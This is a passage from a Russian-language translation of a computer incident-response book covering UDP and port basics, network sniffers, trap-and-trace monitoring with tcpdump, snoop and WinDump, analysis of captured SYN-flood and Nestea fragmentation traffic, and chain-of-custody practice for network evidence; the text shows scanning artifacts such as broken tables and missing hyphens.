ния имен NetBIOS. Данные UDP подробно описаны в RFC768. На рис. 6.10
показана компоновка заголовка UDP.
Рис. 6.10. Компоновка заголовка UDP
16 битовые поля порта источника и порта места назначения заголовка UDP
являются синонимами полей порта источника и места назначения TCP.
16 битовое поле длины соответствует длине заголовка UDP в байтах; его ми-
нимальное значение равно 8. 16 битовая контрольная сумма, необязательное
поле, является контрольной суммой для заголовка UDP, а также полезной
нагрузкой пакета UDP. Если поле контрольной суммы содержит 16 нулей,
то посылающая машина не вычисляла контрольной суммы. Если контроль-
ная сумма вычислена неправильно, получающее приложение отбрасывает

Изучение сетевых протоколов, ловушки и трассировка
155
Порты и демоны
Пакет получен. Каким образом получающая машина узнает, что с ним де-
лать? Ответ находится в номере порта места назначения, содержащемся в
заголовке пакета TCP или UDP. Получающая машина проверяет номер
порта, который запрашивает пакет, и выполняет соответствующее про-
граммное обеспечение, связанное с портом. Например, если на сервере
был получен пакет с портом 80 места назначения, то пакет запрашивает
то, на что ссылается демон с номером 80 на получающей машине. (Демон
является просто необычным словом для серверной программы.) Тради-
ционно порт 80 представляет собой зарезервированный порт для
Web сервера (называемого также демоном http). Порты с 0 по 1023 называ-
ются зарезервированными портами, хотя многие порты больше 1024 также
являются зарезервированными (например, Microsoft Terminal Server, ко-
торый слушает порт 3389). Системы UNIX требуют, чтобы демон имел
доступ административного уровня для открытия или использования но-
мера порта меньше 1024.
его. Это отличается от протокола TCP, который будет запрашивать повтор-
ную отправку у системы исходной машины, если возникает неправильное
вычисление.
Черные ходы на младших портах
Многие случаи можно превратить из проступка в уголовное преступление в
зависимости от объема повреждения и/или доступа, которого добился ата-
кующий. Если вы обнаруживаете незаконный сервер на порте 999, то вы
знаете, что атакующий имеет доступ административного уровня в некото-
ром месте, так как порт 999 является зарезервированным портом. Атакую-
щий не сможет открыть службу на порте меньше 1024, если не имеет доступ
административного уровня. Если атакующий имеет доступ административ-
ного уровня, он представляет значительно большую угрозу для жертвы и
может читать, писать или удалять любую информацию в системе.
Чтобы определить, какие порты TCP открыты или предлагают службы в
системе, можно использовать следующую команду (номера строк добавлены
авторами для ссылок):
С:\> netstat  an  p tcp
Active Connections
Proto Local Address
Foreign Address
State
1) TCP 0.0.0.0:135
0.0.0.0:0
LISTENING
2) TCP 0.0.0.0:445
0.0.0.0:0
LISTENING
3) TCP 0.0.0.0:1025
0.0.0.0:0
LISTENING
4) TCP 0.0.0.0:1026
0.0.0.0:0
LISTENING
5) TCP 0.0.0.0:1028
0.0.0.0:0
LISTENING
6) TCP 0.0.0.0:1189
0.0.0.0:0
LISTENING

156
Глава 6
7) TCP 0.0.0.0:1193
8) TCP 0.0.0.0:1194
9) TCP 10.0.2.60:139
10) TCP 10.0.2.60
11) TCP 10.0.2.60
12) TCP 10.0.2.60
13) TCP 10.0.2.60
14) TCP 10.0.2.60
1189
1193
1194
1198
1198
0.0.0.0:0
0.0.0.0:0
0.0.0.0:0
208.216.183.21
208.216.183.15
208.216.183.15
0.0.0.0:0
10.0.2.2:139
80
80
80
LISTENING
LISTENING
LISTENING
CLOSE WAIT
CLOSE WAIT
CLOSE WAIT
LISTENING
ESTABLISHED
Обратите внимание на число служб и клиентских портов, открытых на
стандартной машине Windows 2000. Кажется, что пользователь недавно пре-
рвал соединение с удаленным Web сервером (строки 10 --- 12). Порты источ-
ника 1189, 1193 и 1194 недавно использовались для соединения с
208.216.183.21 на порте 80 (используемый по умолчанию порт Web сервера).
Также посмотрите на строку 14, представляющую соединение NetBIOS с уда-
ленным сервером печати. Строка 13 означает, что 10.0.2.60, локальный хост,
слушает на своем порте источнике 1198 любые IP адреса для соединения.
ИСПОЛЬЗОВАНИЕ СЕТЕВОГО АНАЛИЗАТОРА
Сетевой анализатор является оборудованием или программой, которые пас-
сивно перехватывают пакеты во время их прохождения в сети. Наиболее
распространенными сетевыми анализаторами являются программы, кото-
рые позволяют сетевой интерфейсной плате (NIC) обрабатывать пакеты,
предназначенные для множества различных машин. Система, выполняю-
щая сетевой анализатор, может перехватывать e mail, пароли, пересылки
файлов, перемещение в Web и любые другие виды трафика в сети.
Пример инцидента
Мы были вовлечены в случаи, в которых на системе жертве установлена
программа атакующего для создания черного хода, слушающая на порте
110 (порт e mail POP). Атакующий разумно выбрал этот порт, так как
сайт жертва не блокировал у пользователей извлечение e mail, и жертва
также не осуществляла мониторинг трафика порта 110.
Почти все службы могут выполняться на любом порте. Просто пото-
му что вы видите трафик, идущий на порт с определенным номером, не
становитесь беззаботным и не предполагайте, что это соответствующий
вид трафика. Атакующие хорошо знают, что системные администраторы
блокируют определенные порты; поэтому атакующие конфигурируют
свои программы входа через черный ход для прослушивания портов, ко-
торые не подвергаются мониторингу и не блокируются брандмауэром.
Как показывает этот пример, незаконные серверы обычно слушают
на портах, зарезервированных для обычных служб, таких как Web сер-
вер (HTTP порт 80), отправка e mail (SMTP порт 25) и получение e mail
(POP порт 110 и IMAP порт 143).

Изучение сетевых протоколов, ловушки и трассировка
157
Программные сетевые анализаторы работают, переводя сетевой адаптер
в неразборчивый режим, называемый так потому, что он будет принимать весь
трафик, с которым он вступает в контакт. Обычно компьютерная система
отвечает на два типа пакетов: которые предназначены IP адресам системы и
которые имеют сетевой адрес широковещания.
Если IP адрес компьютера 147.7.4.11, сетевой адрес 147.7.4.0 и маска
сети 255.255.255.0, машина будет обычно обрабатывать пакеты, предназна-
ченные для IP адреса 147.7.4.11 (вашего IP адреса) и 147.7.4.255 (адрес ши-
роковещания вашей сети). Когда сетевой интерфейс переведен в неразбор-
чивый режим, сетевой адаптер не подавляет пакеты, предназначенные для
других компьютеров, но вместо этого направляет их в стек TCP/IP для до-
полнительной обработки. Пакеты по прежнему приходят своим назначен-
ным получателям, не знающие о том, что вы также получили информацию.
На рис. 6.11 предположим, что концентратор является широковещатель-
ным или "тупым". Концентратор будет пересылать весь трафик по каждому при-
соединенному к нему кабелю. Поэтому весь трафик, идущий к машине А, будет
также проходить к машинам В, С и D. Так как все сетевые адаптеры видят один
и тот же трафик, то говорят, что эти четыре машины находятся в одном сегмен-
те. Если ваша сеть имеет сегмент с 40 отдельными хостами, то значит, что
все 40 хостов "видят" один и тот же трафик. Поэтому сетевой анализатор
А
В
С
D
Все сообщения, идущие от машины А к машине В,
будут также проходить по сетевым кабелям
кмашинамСиD.
Концентратор
Если машина D имеет
выполняющийся сетевой анализатор,
то вместо игнорирования сообщений
между машинами А и В, она будет
перехватывать данные
для нее не предназначенные.
ABC
Сетевой
анализатор D
Рис. 6.11. Настройка сетевого анализатора

158
Глава б
атакующего на любом из этих 40 хостов потенциально компрометирует все
остальные. С другой стороны сетевой анализатор правоохранительных ор-
ганов может выполнять мониторинг всего сетевого трафика 40 машин.
Сетевые анализаторы как незаконные
подслушивающие устройства
При реагировании на инциденты с компьютерной безопасностью, важно
найти и идентифицировать все сетевые анализаторы на машинах жертвах.
Если вы найдете действующий сетевой анализатор, необходимо опреде-
лить общее число скомпрометированных машин как весь сегмент, а не как
единственную машину с обнаруженным сетевым анализатором. Прокуроры,
обвинители или даже гражданские прокуроры могут быть более заинтересова-
ны в расследовании случая, где атакующий скомпрометировал десять машин,
а не одну. Другое обстоятельство состоит в том, что незаконный сетевой ана-
лизатор нарушает 18 USC 2511, который определяет статус подслушивания.
РЕАЛИЗАЦИЯ ЛОВУШЕК И ТРАССИРОВКИ
Теперь, когда вы имеете хорошее представление о содержимом заголовков
TCP/IP, вы готовы к реализации ловушек и трассировки в своей сети. Ког-
да вы ищете транзакционную информацию ("не относящуюся к содержимо-
му"), можно использовать в сети то, что правоохранительные органы назы-
вают автоматическим самописцем/ловушкой и трассировкой. В сетях на базе
Интернета применение ловушки и трассировки означает мониторинг заго-
ловков IP и TCP (или других заголовков протоколов транспортного уров-
ня) без выполнения мониторинга содержимого пакетов пользователя. Это
ненавязчивый способ определения источника атаки на основе сети или об-
наружения аномалий сетевого трафика, таких как программы черного
хода, которые невозможно обнаружить обычными системами обнаружения
вторжений. Мониторы, создающие ловушки и выполняющие трассировку,
можно реализовать с помощью бесплатно доступных, стандартных утилит,
таких как tcpdump, snoop, snort, или утилит с графическим интерфейсом
пользователя (GUI), таких как netmon (Windows).
ИНФОРМАЦИОННЫЕ РЕСУРСЫ В ИНТЕРНЕТЕ
tcpdump: http://www.tcpdump.org
Библиотеки WinDump и WinPcap: http://netgroup serv.polito.it/windump/instaLl/
Default.htm
Рекомендации по установке WinPcap: http://netgroup serv.polito.it/winpcap/
Так как tcpdump и snoop являются старыми промышленными стандар-
тами (snoop доступен для машин Solaris), мы будем использовать их в каче-
стве примеров. Утилита tcpdump для Windows, называемая WinDump, пол-
ностью совместима с tcpdump и может использоваться для наблюдения и

Изучение сетевых протоколов, ловушки и трассировка
159
диагностики сетевого трафика согласно тем же правилам, что и tcpdump.
Она выполняется на системах Windows 95/98, NT и 2000. Файлы захвата
утилит Tcpdump и WinDump имеют одинаковый двоичный формат --- поэ-
тому можно захватывать трафик с помощью tcpdump и просматривать его
с помощью WinDump. Следующая командная строка инициирует ловушку и
трассировку без фильтрации и печатает вывод на экране:
[root@>linux taps]# tcpdump
tcpdump: listening on ethO
Если вы работаете в занятой сети, то увидите многочисленные повторы
строки заголовка tcpdump (см. рис. 6.12). Tcpdump является достаточно
удобной для создания заголовка с многочисленнымиполями, перенесенны-
ми из заголовка IP и TCP.
Рис. 6.12. Строка заголовка tcpdump
Когда немного означает слишком много
Основной заботой при использовании ловушки и трассировки является
уклонение от вторжения в чьи либо секреты при перехвате каких либо пе-
редаваемых пользователем данных. Помните, что многие утилиты захваты-
вают некоторое количество байтов по умолчанию, и можно случайно захва-
тить содержимое пакета. Для правоохранительных органов важно, чтобы
вы проверили, что ваша ловушка и трассировка не захватывает содержи-
мое. Заголовки IP и TCP используют обычно всего 40 байт, но различные
опции могут увеличить это значение. По умолчанию программы tcpdump
определяют для захвата 68 байт на пакет, но если вы предпочитаете выво
дить результат на экран, то можете получить ненавязчивый просмотр тра
фика в своей сети.

160
Глава 6
Что может произойти
Давайте посмотрим на некоторые ловушки и трассировки в реальной сети.
Предположим, что имеется машина, которая постоянно зависает, но вы не
можете понять причину. Вы помещаете сетевой анализатор в тот же сег-
мент, где находится зависающая машина, и делаете ловушку и трассировку,
чтобы увидеть весь трафик, который проходит мимо зависающей машины.
Далее показан один из способов организации ловушки и трассировки с по-
мощью tcpdump, печатая информацию заголовка на экране. (Номера строк
были добавлены авторами для ссылок.)
[root@homer /root]# tcpdump
1) 16:50:47.'838670 244.47.221.0.5481 > 192.168.0.1. netbios ssn:
S 12505299:12505319(20) win 1004 urg 8448
2) 16:50:47.847370 244.47.221.0.5481 > 192.168.0.1.netbios ssn:
S 12505299:12505319(20) win 1004 urg 8448
3) 16:50:47.850811 38.51.88.0.61481 > 192.168.0.1.netbios ssn:
S 4173121:4173141(20) win 11451 urg 53970
4) 16:50:47.859173 201.88.62.0.35234 > 192.168.0.1.netbios ssn:
S 10014069:10014089(20) win 2336 urg 13043
5) 1 6:50:47.859990 210.183.15.0.6389 > 192.168.0.1.netbios ssn:
S 10310985:10311005(20) win 10449 urg 60188
6) 16:50:47.871320 113.23.49.0.33987 > 192.168.0.1.netbios ssn:
S 16389742:16389762(20) win 50636 urg 3951
7) 16:50:47.872129 171.7.32.0.28286 > 192.168.0.1.netbios ssn:
S 12420019:12420039(20) win 8057 urg 17289
8) 16:50:47.872838 56.138.209.0.60502 > 192.168.0.1.netbios ssn:
S 11512049:11512069(20) win 5937 urg 53896
9) 16:50:47.883634 8.17.36.0.27120 > 192.168.0.1.netbios ssn:
S 1392600:1392620(20) win 49586 urg 35397
<CNTRL С > to stop the capture
Где искать доказательства
Поскольку мы не делаем в этом случае мониторинга всего содержимого, то
не имеем возможности просмотреть содержимое в поисках подтверждения
нечестной игры. Чтобы получить максимум возможного из опыта с ловуш-
кой и трассировкой при исследовании вывода ловушки и трассировки (или
любого сетевого захвата), задайте следующие вопросы:
Есть ли какие нибудь подозрительные поля заголовка IP?
Является ли IP адрес источника подозрительным?
Не происходит ли странная фрагментация?
Не вызывает ли подозрение размер пакета?
Есть ли какие нибудь подозрительные поля заголовка TCP?
Является ли порт назначения действительной службой?
 I Соответствует ли трафик стандартам RFC?
Какие отметки времени имеет трафик?

Изучение сетевых протоколов, ловушки и трассировка
161
Проверяя первые девять пакетов этого перехвата, можно увидеть неко-
торую систему. Являются ли IP адреса источника подозрительными? Они все
являются различными и скорее всего поддельными? Пакет 2 имеет IP адрес
источника, равный 244.47.221.0. Во первых, октет IP адреса равен 244, что
является частью адресного пространства, которое не было выделено для
использования Интернета. Во вторых, все IP адреса источника имеют по-
следний октет, равный 0, что обычно является адресом сети, а не IP адре-
сом определенной системы. Какой тип представляет собой пакеты TCP? Они
все являются пакетами SYN. На основе отметки времени пакетов можно ви-
деть, что они приходят в течение микросекунд один за другим на порт
службы Windows (139), т.е. можно видеть некоторую разновидность волново-
го распространения пакетов. Этот случай кажется волновой атакой SYN на
IP адрес 192.168.0.1.
Создание файлов вывода
При выполнении ловушки и трассировки лучше создавать постоянный
файл вывода, а не просматривать текущие данные на консоли. Без создания
файла вывода информация теряется в тот момент, когда прекращается про-
цесс tcpdump, snoop или WinDump.
Следующая командная строка будет запускать процесс захвата информа-
ции заголовка на всем трафике, который воспринимает сетевой адаптер на
анализирующем сеть компьютере:
[root@homer /root]# tcpdump > traptrace1
Если анализируемая сеть активно используется, то желательно быстро
остановить процесс tcpdump, так как файл traptracel может стать очень бо-
льшим за короткий период времени. Чтобы просмотреть записанный
файл, используйте стандартные команды UNIX, такие как cat, more или за-
бавную команду Linux less.
Достаточно часто возникает необходимость записывать файлы в двоич-
ный файл вывода --- единственный способ сохранить постоянную запись
данных. Чтобы записать значения в двоичный файл, можно использовать
параметр  w с утилитой tcpdump или WinDump. При использовании snoop
применяется параметр  о.
Следующая командная строка создает двоичный файл вывода, называе
мый trapfilel, в текущем рабочем каталоге, где выполняется tcpdump.
[root@>linux taps]# tcpdump  x  v  i eth0  w trapfile1
tcpdump: listening on eth0
Так как параметр  5 для определения длины снимка не специфицирован,
tcpdump использует по умолчанию первые 68 байт информации каждого
пакета. Это может оказаться слишком большим значением для ловушки и
трассировки, особенно если производится правоохранительными органа
ми. Некоторые протоколы содержат данные пользователя в первых 68 бай
тах, такие как userid (идентификатор пользователя) или пароль. Если дли
ны заголовка IP и заголовка TCP вместе составляют 40 байт (что часто
бывает), tcpdump будет захватывать дополнительно 28 байт информации

162
Глава б
Рис. 6.13. Использование WinDump для просмотра двоичного файла ловушки
и трассировки
пользователя. На рис. 6.13 показан результат работы WinDump, а также
приложения Windows после выполнения ловушки и трассировки.
Так как tcpdump, snoop и WinDump сохраняют свои файлы вывода в дво-
ичном формате, мы не можем просто прочитать их как обычные текстовые
файлы. Чтобы просмотреть перехваты, сделанные с помощью параметра  w,
используется параметр  w с помощью той же утилиты следующим образом:
[root@linux taps]# tcpdump  х  v  r trapfile1 | less
[root@solaris]# snoop  i trapfile2 | more
Что может произойти
Многие атаки типа "отказ в обслуживании" используют поддельные значе-
ния фрагментации IP для "замораживания" системы жертвы. Если вы встре-
тите систему, которая постоянно зависает, необходимо выполнить ловушку
и трассировку, чтобы определить, связана ли проблема с атакой "отказ в об-
служивании" на основе сети или просто система имеет какие то проблемы с
аппаратом или программой. Еще один пример (номера строк в следующем
коде были добавлены для ссылок).
[root@homer/root]# tcpdump  x  n  v  s 80  w traptracel
[rootthomer /root]# tcpdump  x  v  n  r traptracel
1) 16:07:40.872940 192.168.0.200.domain > 192.168.0.210.netbios ns:
0 [Oq] (10) (frag 242:18@0+)
2) 16:07:40.872945 192.168.0.200> 192.168.0.210: (frag 242:116@48)
3) 16:07:40.872986 [|udp] (frag 242:224@0+)
4) 16:07:40.886965 192.168.0.200.domain > 192.168.0.210.netbios ns:
0 [Oq] (10) (frag 242:18@0+)
5) 16:07:40.886985 192.168.0.200> 192.168.0.210: (frag 242:116@48)
6) 16:07:40.887004 [|udp] (frag 242:224@0+)

Изучение сетевых протоколов, ловушки и трассировка
163
7) 16:07:40.904509 192.168.0.200.domain > 192.168.0.210.netbios ns:
0 [0q] (10) (frag 242:18@0+)
8) 16:07:40.904528 192.168.0.200> 192.168.0.210: (frag 242:116@48)
9) 16:07:40.904548 [|udp] (frag 242:224@0+)
10) 16:07:40.921509 192.168.0.200.domain > 192.168.0.210.netbios ns:
0 [Oq] (10) (frag 242:18@0+)
11) 16:07:40.921528 192.168.0.200> 192.168.0.210: (frag 242:116@48)
12) 16:07:40.921534 [|udp] (frag 242:224(30+)
13) 16:07:40.938302 192.168.0.200.domain > 192.168.0.210.netbios ns:
0 [Oq] (10) (frag 242:18@0+)
14) 16:07:40.938306 192.168.0.200> 192.168.0.210: (frag 242:116@48)
15) 16:07:40.938324 [|udp] (frag 242:224@0+)
Где искать доказательства
Предыдущая ловушка и трассировка сетевого трафика имеет вид пяти паке-
тов UDP, которые были фрагментированы до прибытия на место назначе-
ния 192.168.0.210. Фрагментированные IP пакеты печатаются tcpdump в
формате (frag id:size@offset+) win (frag id:size@offset). Знак плюс (+) в конце ука-
зывает, что ожидаются дополнительные фрагменты, id является идентифи-
кационным номером фрагмента из заголовка IP, size--- размером фрагмента,
включая заголовок IP (обычно 20 байт), a offset --- смещением этого фрагмен-
та в байтах от начального фрагмента. Отметим, что первый фрагмент в вы-
воде содержит заголовок протокола более высокого уровня в отличие от
фрагментов, которые следуют за ним. Поэтому мы не имеем представле-
ния, каковы будут IP адреса источника и места назначения, номера портов
или последовательные номера у завершающих фрагментов. Рассмотрим
первый фрагмент из ловушки и трассировки. (Здесь также номера строк
были добавлены авторами.)
1) 16:07:40.872940 192.168.0.200.domain > 192.168.0.210.netbios ns:
0 [0q] (10) (frag 242:18@0+)
2) 16:07:40.872945 192.168.0.200> 192.168.0.210: (frag 242:116@48)
3) 16:07:40.872986 [|udp] (frag 242:224@0+)
Пакет 1 является IP пакетом из 18 байт, прибывшим из порта 53 (do-
main) в порт 139 (netbios ssn). Общая длина пакета равна 38 байт. Порт
источника 53 предполагает ответ на запрос DNS. Но запросы DNS
обычно бывают меньше 150 байт, почему же этот фрагментирован?
Смещение равно 0 и знак + указывает, что ожидаются дополнитель-
ные фрагменты. Следующее смещение должно быть 38, так как пер-
вый фрагмент имел 18 байт.
Пакет 2 имеет тот же самый идентификатор фрагмента (ID), что и па-
кет 1. Предполагается, что это фрагмент исходного пакета. Так как за
смещением в 48 байт не следует знак плюс, то можно предположить,
что это последний фрагмент для идентификатора пакета (ID) 242. Но
затем идет пакет 3 с тем же самым идентификатором фрагмента (ID).

164
Глава 6
Пакет 3 имеет смещение 0, но предположительно это третий фраг-
мент. Что то здесь не то! То, что мы рассматриваем здесь, является
атакой отказа в обслуживании Nestea, которая была преобладающей
в начале 1998 г. Эта атака могла "заморозить" почти любую операци-
онную систему в то время, когда она появилась.
ИТОГИ
Теперь вы видите, что знание того, как осуществляют коммуникацию сети,
является жизненно важным для любого исследователя или профессионала
сетевой безопасности. Хорошее понимание заголовков TCP/IP является
критически важным для соответствующего перехвата данных, фильтрации
трафика, блокирования специфических типов трафика, распознавания
атак и защиты сетей от атак. Мы будем опираться на информацию, пред-
ставленную в этой главе, при обсуждении того, как выполнять сетевой над-
зор, в главе 7.

ГЛАВА 7
Выполнение
сетевого наблюдения

166
Глава 7
В главе 6 показано, что при выполнении сетевого наблюдения необходимо
знать TCP/IP для понимания сетевого трафика. Описанную в этой главе дея-
тельность многие называют сетевым мониторингом всего содержимого или пере-
хватом электронных коммуникаций, однако мы выбрали термин сетевое
наблюдение. Он больше всего подходит для описания сетевого мониторинга,
проводимого во время реагирования на инцидент.
Здесь будет выполняться сетевое наблюдение с помощью такого про-
граммного обеспечения как tcpdump, snoop и WinDump. Мы обсудим, как
создать надежную, безопасную систему наблюдения, и узнаем, как выпол-
нять полноценный мониторинг (сетевое наблюдение) сетевого трафика.
Мы будет использовать также утилиты, которые восстанавливают и пока-
зывают в удобном формате захваченный пакет. Захват трафика является
только частью проблемы --- извлечение содержательных результатов может
быть совершенно другой большой проблемой.
ЗАЧЕМ ВЫПОЛНЯТЬ СЕТЕВОЕ НАБЛЮДЕНИЕ?
Причины для сетевого наблюдения аналогичны причинам для традицион-
ного наблюдения: наблюдение является критически важным и необходи-
мым действием при расследовании подозрительных обстоятельств или зло-
употреблений. Если правоохранительные органы подозревают кого то в
незначительных связях с наркотиками, то за подозреваемым проводится
наблюдение, собираются доказательства и идентифицируются соучастни-
ки. То же самое происходит и с вычислительными сетями. Сетевое наблю-
дение не предназначено для предотвращения атак, оно позволяет исследо-
вателям выполнить ряд других задач:
Подтвердить или рассеять подозрения, окружающие инцидент с компью-
терной безопасностью
Собрать дополнительные доказательства и информацию
Проверить область компрометации
Идентифицировать дополнительные вовлеченные стороны
Определить временную цепь событий, происходящих в сети
Обеспечить соответствие желательной деятельности
Если вы наблюдали за человеком, то знаете, что надо много работать. И
далеко не всегда реальные события совпадают с тем, что вы видите по теле-
визору: вы спите, когда спит объект наблюдения, и едите, когда он ест, и
вы можете часами стоять у входной двери и как то его пропустить. Сетевое
наблюдение требует таких же затрат времени и ресурсов и иногда разоча-
ровывает. Вы выполняете сетевое наблюдение не потому, что вам это нра-
вится (хотя это помогает), а для достижения определенных целей:
Определить скомпрометированную область
Определить скомпрометированные системы

Выполнение сетевого наблюдения
167
Идентифицировать скомпрометированные учетные записи поль-
зователей и пароли
Определить временную последовательность для корреляции журна-
лов хоста и сети
Создать судебное дело со следственными фактами
Идентифицировать IP адреса источников, использованные атаку-
ющими или подозреваемыми сотрудниками
Идентифицировать "упавшие сайты" и соответствующие адреса
e mail
Перехватить утилиты хакера, украденные файлы, порнографию
или любые другие файлы доказательной силы для подтверждения
случая
Определить возможные мотивы/цели в основе инцидента
Собрать сведения
Оценить уровень мастерства атакующего
Определить число атакующих
ВИНИМАНИЕ Существуют такие моменты, когда контролирующая система обна-
ружения вторжений (IDS --- intrusion detection system) идентифици-
рует подозрительную деятельность, которая служит оправданием
более тщательной инспекции. Так как методы уклонения от обнару-
жения с помощью IDS становятся более изощренными, популярны-
ми и оригинальными, то может понадобиться хорошо продуманное
сетевое наблюдение для более подробной проверки инцидентов.
ИНФОРМАЦИОННЫЕ РЕСУРСЫ В ИНТЕРНЕТЕ
Дистрибутив tcpdump: http://www.tcpdump.org
Дистрибутив WinDump: http://netgroup serv.polito.it/windump/install/DefauLt.htm
asctcpdump.pl: http://www.buttsoft.com/ thumper/software/network/asctcpdump/
Дистрибутив Perl и модули Perl: http://www.perl.com
Perl для Windows: http://www.activestate.com/Products/ActivePert/Downtoad.html
Ethereal: http://www.zing.org
ДОКАЗАТЕЛЬСТВО НА ОСНОВЕ СЕТИ
При расследовании компьютерного преступления вы найдете много источ-
ников потенциальных доказательств, включая журналы хостов, сетевые
журналы и другие традиционные формы, такие как отпечатки пальцев,
устные свидетельские показания и свидетели. Мы определяем доказатель-
ство на основе сети как информацию, полученную в сети жертве, но не обя
зательно на машине жертве.
В книге рассматривается каждый источник потенциальных доказа
тельств, но в этой главе сосрсдоточимся на судебных доказательствах на

168
Глава 7
основе сети. Большая часть сетевого трафика оставляет аудиторский след
где нибудь вдоль пути, по которому он следует. Маршрутизаторы, брандмау-
эры, серверы, сенсоры IDS и другие сетевые устройства могут создавать
журналы, которые записывают сетевые события. Серверы DHCP регистри-
руют сетевой доступ, когда ПК запрашивает выделение адреса IP. Совре-
менные брандмауэры предоставляют администраторам хороший уровень
детализации при создании журналов аудита. Сенсоры IDS могут перехваты-
вать часть атаки благодаря распознаванию сигнатуры или фильтру обнару-
жения аномалий. Расположенные на хосте сенсоры могут обнаружить изме-
нение системной библиотеки или добавление файла в чувствительном
месторасположении. Файлы системных журналов, находящиеся на удале-
нии трех зон от первичного контроллера домена, могут показать отказ
аутентификации во время попытки входа в систему. Когда вы объедините
все существующие фрагменты сетевого доказательства, появится возмож-
ность реконструировать специфические сетевые события, такие как пере-
сылка файла, атака переполнения буфера или использование в сети укра-
денной учетной записи пользователя и пароля.
Все источники сетевой информации могут предоставить ключи к рассле-
дованию, хотя чаще они представляют проблемы для исследователя. Сете-
вые журналы, хранящиеся во множестве форматов, могут создаваться неско-
лькими различными операционными системами, требовать специального
программного обеспечения для доступа и чтения, быть географически раз-
бросанными и содержать очень запутанную интерпретацию текущего сис-
темного времени. Проблема исследователей состоит в нахождении всех
этих журналов и их согласовании. Требуется много времени и ресурсов для
того, чтобы географически разбросать журналы со многих различных сис-
тем, поддерживать порядок хранения для каждого из них и реконструиро-
вать сетевые события. Во многих случаях правильная комбинация всех по-
добных журналов все еще рисует ужасную, неполную картину. Поэтому
многие организации выполняют сетевое наблюдение для пополнения дан-
ных, которые они получают из других соответствующих журналов. Для ин-
терпретации результатов сетевого наблюдения часто требуются специаль-
ные знания и исследовательское отношение, которое называется сетевым
судебным расследованием.
Поддержание порядка хранения
Прежде чем двигаться дальше, важно понять фундаментальную необходи-
мость документирования исследования. Когда делается целенаправленная
попытка выполнения сетевого наблюдения, документация является очень
важной. Вы должны сохранять записи о том, кто инициировал наблюдение
и на что направлен контроль. При просмотре сетевых журналов помните,
что они могут быть единственным доказательством, которое вы получите.
В более сложных атаках хост жертва может не обладать никакими легко
восстановимыми доказательствами. Поэтому для обоснования случая по-
лагайтесь на сетевые журналы и журналы наблюдения.
Будьте осторожны при получении электронных данных, которые могут
использоваться в качестве доказательства незаконной или неприемлемой

Выполнение сетевого наблюдения
169
деятельности. Важно иметь систему идентификации, где каждый человек,
который имеет доступ к доказательству, записывает, когда он работает с до-
казательством и когда оно передается другому человеку. Многие суды назы-
вают это порядком хранения (chain of custody). Создание порядка хранения
увеличивает вероятность того, что доказательство правильно использует-
ся. Чем беззаботнее обрабатывается доказательство, тем больше шансов,
что данные будут испорчены.
Поскольку электронные доказательства так легко изменить, они могут
потребовать более строго контроля, чем более устойчивые к подделке до-
казательства, такие как пуля или пистолет. Существуют решения, которые
предполагают, что порядок хранения должен быть представлен как в граж-
данских, так и в уголовных делах, но предполагается правильное обраще-
ние с доказательствами в случаях, которые могут стать уголовными. Что
произойдет в случае, когда существует пробел или перерыв в обработке до-
казательства, который невозможно объяснить? Является ли пробел доста-
точно серьезным, чтобы служить основанием для исключения?
Важный вопрос состоит в том, как сберечь эти файлы журналов. Выпол-
няя сетевое наблюдение, как извлечь журналы наблюдений и гарантировать,
что их никто не подделал? Используйте удобную утилиту md5sum. Независи-
мо от того, откуда поступил исходный файл, можно применять md5sum из
Linux, или md5sum для Windows компании Cygwin. В описании исследова-
ния отметьте хеш значение, которое возвращает программа. Если ожидает-
ся, что данный случай будет важным, можно обратиться к независимой сто-
роне, чтобы она засвидетельствовала создание хеш значения и сохранила
его копию. Сохраните исходные файлы журналов в среде, которую вы мо-
жете контролировать, такой как однократно записываемые компакт диски,
поскольку они будут использоваться как доказательства. Вот пример приме-
нения утилиты md5sum в системе Linux:
md5sum /var/log/messages
При организации порядка хранения необходимо записывать:
Дату и время, когда элемент данных был взят или получен
Информацию об устройстве, которое создало журнал (марка, модель,
серийный номер)
Имена людей, которые изъяли журналы
Описание журналов
Полное имя и подпись человека, который первоначально получи;! до
казательство
Номер случая и ярлыка (элемента) для этого фрагмента доказательства
Хеш значение (md5sum) каждого файла журнала
ВНИМАНИЕ Желательно создать форму на фирменном бланке компании для за
писи информации порядка хранения.

170
Глава 7
СЕТЕВАЯ СУДЕБНАЯ ЭКСПЕРТИЗА
В книге Handbook of Forensic Pathology Колледжа американских патологов
(1990), судебно экспертная наука определяется как "приложение принци-
пов физических наук в законодательстве в поисках истины в гражданских,
криминальных и социальных поведенческих вопросах, чтобы в отношении
любого члена общества не восторжествовала несправедливость". Поэтому
мы определяем сетевую судебную экспертизу как изучение сетевого трафи-
ка в поисках истины в гражданских, криминальных и административных
вопросах для защиты пользователей и ресурсов от эксплуатации, посягате-
льства на частную жизнь и любого другого преступления, обусловленного
непрерывным ростом сетевых соединений.
Сравнение сетевых журналов и журналов хостов
Сетевые журналы имеют некоторое преимущество по сравнению со
стандартными системными журналами. Любой, кто имеет доступ к систе-
ме, удаленный или локальный через консоль, может изменить любой
файл или функцию, которую выполняет система. Поэтому существует
убедительный аргумент в пользу того, что правильно используемые сете-
вые журналы могут быть более надежными и действенными, чем систем-
ные журналы хостов с машины жертвы. Это особенно справедливо, ког-
да физический доступ и доступ на командном уровне к сетевым
устройствам строго контролируется. Журналы наблюдений специально
создаются как сетевые доказательства, которые были собраны контроли-
руемым образом с определенным порядком хранения.
Когда вы читаете это, происходят новые атаки и действуют скрытые ме-
тоды для доступа к корпоративным ресурсам различных компаний. Исполь-
зование информации о прошлых событиях для идентификации и монито-
ринга атак может помочь перехватить любителей, которые повторно
используют одну и ту же тактику, но вы должны быть способны выполнить
так называемую настоящую сетевую судебную экспертизу для перехвата ис-
кушенных профессионалов. Сетевая судебная экспертиза не является тай-
ным искусством; скорее это навык, который вырабатывается со временем.
Чтобы развить подобный навык, необходимо научиться предвидеть дейст-
вия атакующего и сравнивать эти предположения с наблюдаемым трафи-
ком. Распознавание шаблонов поведения трафика является существенно
важным умением сетевой судебной экспертизы. Если вы определили цели
атакующего и поняли, что должно проявиться в сети, вы на верном пути к
успеху как исследователь, преследующий нарушителя.
Задачи сетевой судебной экспертизы
Рост числа протоколов, находящихся в сети, и существенный объем сетево-
го трафика делают трудным сетевую судебную экспертизу. Вы можете встре-
тить десятки протоколов в одной сети. В Интернете сам объем сетевого тра-
фика растет экспоненциально, так как все больше людей выходит в сеть.

Выполнение сетевого наблюдения
171
Легко доступные высокоскоростные линии стимулировали рост трафика по-
токовых аудио и видео. Популярные приложения, такие как Gnutella, Naps-
